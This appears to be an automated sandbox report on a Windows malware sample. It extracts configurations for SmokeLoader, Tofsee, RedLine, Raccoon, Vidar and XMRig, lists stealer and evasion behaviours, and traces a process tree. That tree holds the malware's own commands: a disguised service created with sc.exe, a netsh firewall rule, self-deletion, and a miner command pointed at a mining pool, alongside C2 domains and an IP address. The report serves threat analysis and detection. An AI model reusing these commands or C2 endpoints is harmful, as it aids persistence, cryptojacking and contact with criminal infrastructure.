Overview

overview

10

Static

static

1d4ed257c2...53.exe

windows7_x64

1d4ed257c2...53.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    08/10/2021, 15:29

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Report Analysis Logs

General

  • Target
    1d4ed257c2f26fa7d5ccb7ff9dfeae53.exe
  • Size 165KB
  • Sample211008-swx8caefhm
  • SHA256 9535b07e3af3a051c0de3169f11aed4e5f7dd52d651e739f16db250bc631def5
  • MD5 SHA1 SHA512
Score
10/10
raccoonredlinesmokeloadertofseevidarxmrig10332ea41939378a473cbe7002fd507389778c0f10e77778d179b9e611eee525425544ee8c6d77360ab7cd9backdoorcollectiondiscoveryevasioninfostealerminerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://fazanaharahe10.top/

  • http://xandelissane20.top/

  • http://ustiassosale30.top/

  • http://cytheriata40.top/

  • http://ggiergionard50.top/

rc4.i32
rc4.i32

Extracted

Family

  • tofsee

C2

  • defeatwax.ru

  • refabyd.info

Extracted

Family

  • redline

Botnet

  • 777

C2

  • 93.115.20.139:28978

Extracted

Family

  • raccoon

Version

  • 1.8.2

Botnet

  • 2ea41939378a473cbe7002fd507389778c0f10e7

Attributes
  • url4cnc

    http://teletop.top/stevuitreen

    http://teleta.top/stevuitreen

    https://t.me/stevuitreen

rc4.plain
rc4.plain

Extracted

Family

  • vidar

Version

  • 41.2

Botnet

  • 1033

C2

  • https://mas.to/@serg4325

Attributes
  • profile_id

    1033

Extracted

Family

  • raccoon

Version

  • 1.8.2

Botnet

  • 8d179b9e611eee525425544ee8c6d77360ab7cd9

Attributes
  • url4cnc

    http://teletop.top/agrybirdsgamerept

    http://teleta.top/agrybirdsgamerept

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata
  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 8 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1d4ed257c2f26fa7d5ccb7ff9dfeae53.exe
    "C:\Users\Admin\AppData\Local\Temp\1d4ed257c2f26fa7d5ccb7ff9dfeae53.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3144
    • C:\Users\Admin\AppData\Local\Temp\1d4ed257c2f26fa7d5ccb7ff9dfeae53.exe
      "C:\Users\Admin\AppData\Local\Temp\1d4ed257c2f26fa7d5ccb7ff9dfeae53.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2132
  • C:\Users\Admin\AppData\Local\Temp\28C.exe
    C:\Users\Admin\AppData\Local\Temp\28C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3632
    • C:\Users\Admin\AppData\Local\Temp\28C.exe
      C:\Users\Admin\AppData\Local\Temp\28C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2416
  • C:\Users\Admin\AppData\Local\Temp\5BA.exe
    C:\Users\Admin\AppData\Local\Temp\5BA.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Users\Admin\AppData\Local\Temp\5BA.exe
      C:\Users\Admin\AppData\Local\Temp\5BA.exe
      2⤵
      • Executes dropped EXE
      PID:1268
    • C:\Users\Admin\AppData\Local\Temp\5BA.exe
      C:\Users\Admin\AppData\Local\Temp\5BA.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:608
  • C:\Users\Admin\AppData\Local\Temp\1115.exe
    C:\Users\Admin\AppData\Local\Temp\1115.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ylnimrbn\
      2⤵
        PID:3448
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xrnteogm.exe" C:\Windows\SysWOW64\ylnimrbn\
        2⤵
          PID:3872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ylnimrbn binPath= "C:\Windows\SysWOW64\ylnimrbn\xrnteogm.exe /d\"C:\Users\Admin\AppData\Local\Temp\1115.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1996
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ylnimrbn "wifi internet conection"
            2⤵
              PID:2308
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ylnimrbn
              2⤵
                PID:3044
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:836
              • C:\Users\Admin\AppData\Local\Temp\18C7.exe
                C:\Users\Admin\AppData\Local\Temp\18C7.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:3176
              • C:\Users\Admin\AppData\Local\Temp\2674.exe
                C:\Users\Admin\AppData\Local\Temp\2674.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Accesses Microsoft Outlook accounts
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:2256
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2674.exe"
                  2⤵
                    PID:2648
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:924
                • C:\Users\Admin\AppData\Local\Temp\3142.exe
                  C:\Users\Admin\AppData\Local\Temp\3142.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  PID:976
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c taskkill /im 3142.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\3142.exe" & del C:\ProgramData\*.dll & exit
                    2⤵
                      PID:396
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /im 3142.exe /f
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2780
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 6
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1228
                  • C:\Windows\SysWOW64\ylnimrbn\xrnteogm.exe
                    C:\Windows\SysWOW64\ylnimrbn\xrnteogm.exe /d"C:\Users\Admin\AppData\Local\Temp\1115.exe"
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:3992
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe
                      2⤵
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      PID:3144
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3992
                  • C:\Users\Admin\AppData\Local\Temp\40D4.exe
                    C:\Users\Admin\AppData\Local\Temp\40D4.exe
                    1⤵
                    • Executes dropped EXE
                    PID:2180
                  • C:\Users\Admin\AppData\Local\Temp\53A1.exe
                    C:\Users\Admin\AppData\Local\Temp\53A1.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2920
                  • C:\Users\Admin\AppData\Roaming\wiifubc
                    C:\Users\Admin\AppData\Roaming\wiifubc
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:3928
                    • C:\Users\Admin\AppData\Roaming\wiifubc
                      C:\Users\Admin\AppData\Roaming\wiifubc
                      2⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:2076

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        memory/368-143-0x00000000001C0000-0x00000000001D3000-memory.dmp
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                        memory/368-144-0x0000000000400000-0x0000000000446000-memory.dmp
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                        memory/608-203-0x0000000006DA0000-0x0000000006DA1000-memory.dmp
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                        memory/608-152-0x00000000055E0000-0x00000000055E1000-memory.dmp
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                        memory/608-151-0x0000000005B80000-0x0000000005B81000-memory.dmp
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                        memory/608-161-0x0000000005690000-0x0000000005691000-memory.dmp
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                        memory/608-145-0x0000000000400000-0x0000000000422000-memory.dmp
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                        memory/608-153-0x0000000005710000-0x0000000005711000-memory.dmp
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                        memory/608-199-0x0000000006F00000-0x0000000006F01000-memory.dmp
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                        memory/608-155-0x0000000005650000-0x0000000005651000-memory.dmp
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                        memory/608-162-0x0000000005570000-0x0000000005B76000-memory.dmp
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                        memory/976-182-0x0000000002EA8000-0x0000000002F25000-memory.dmp
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                        memory/976-189-0x0000000000400000-0x0000000002E10000-memory.dmp
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                        memory/976-187-0x0000000004A60000-0x0000000004B36000-memory.dmp
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                        memory/1292-132-0x0000000005580000-0x0000000005581000-memory.dmp
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                        memory/1292-131-0x0000000005070000-0x0000000005071000-memory.dmp
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                        memory/1292-130-0x0000000001050000-0x0000000001051000-memory.dmp
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                        memory/1292-127-0x0000000000620000-0x0000000000621000-memory.dmp
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                        memory/1292-129-0x0000000004EF0000-0x0000000004EF1000-memory.dmp
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                        memory/2132-117-0x0000000000400000-0x0000000000409000-memory.dmp
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                        memory/2180-219-0x0000000000400000-0x0000000000491000-memory.dmp
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                        memory/2180-217-0x0000000000700000-0x000000000078E000-memory.dmp
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                        memory/2256-186-0x0000000000400000-0x0000000002BB6000-memory.dmp
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                        memory/2256-185-0x0000000002D10000-0x0000000002E5A000-memory.dmp
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                        memory/2256-160-0x0000000002E81000-0x0000000002ED0000-memory.dmp
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                        memory/2872-119-0x0000000000470000-0x0000000000486000-memory.dmp
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                        memory/2872-266-0x00000000025A0000-0x00000000025B6000-memory.dmp
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                        memory/2872-164-0x0000000002340000-0x0000000002356000-memory.dmp
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                        memory/2920-233-0x0000000000230000-0x0000000000231000-memory.dmp
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                        memory/2920-242-0x0000000002A10000-0x0000000002A11000-memory.dmp
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                        memory/2920-241-0x0000000077E30000-0x0000000077FBE000-memory.dmp
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                        memory/3144-116-0x0000000000030000-0x0000000000039000-memory.dmp
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                        memory/3144-198-0x0000000002E20000-0x0000000002E21000-memory.dmp
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                        memory/3144-194-0x0000000002F10000-0x0000000002F25000-memory.dmp
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                        memory/3144-196-0x0000000002E20000-0x0000000002E21000-memory.dmp
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                        memory/3176-216-0x0000000006A20000-0x0000000006A21000-memory.dmp
                        Download

                        memory/3176-183-0x00000000054D0000-0x00000000054D1000-memory.dmp
                        Download

                        memory/3176-181-0x0000000077E30000-0x0000000077FBE000-memory.dmp
                        Download

                        memory/3176-240-0x0000000007290000-0x0000000007291000-memory.dmp
                        Download

                        memory/3176-169-0x0000000000170000-0x0000000000171000-memory.dmp
                        Download

                        memory/3176-201-0x0000000006BD0000-0x0000000006BD1000-memory.dmp
                        Download

                        memory/3632-123-0x00000000007E1000-0x00000000007EA000-memory.dmp
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                        memory/3928-215-0x00000000006C1000-0x00000000006CA000-memory.dmp
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                        memory/3992-249-0x0000000000400000-0x00000000004F1000-memory.dmp
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                        memory/3992-254-0x0000000000400000-0x00000000004F1000-memory.dmp
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                        memory/3992-175-0x000000000083C000-0x000000000084A000-memory.dmp
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                        memory/3992-197-0x0000000000400000-0x0000000000446000-memory.dmp
                        Download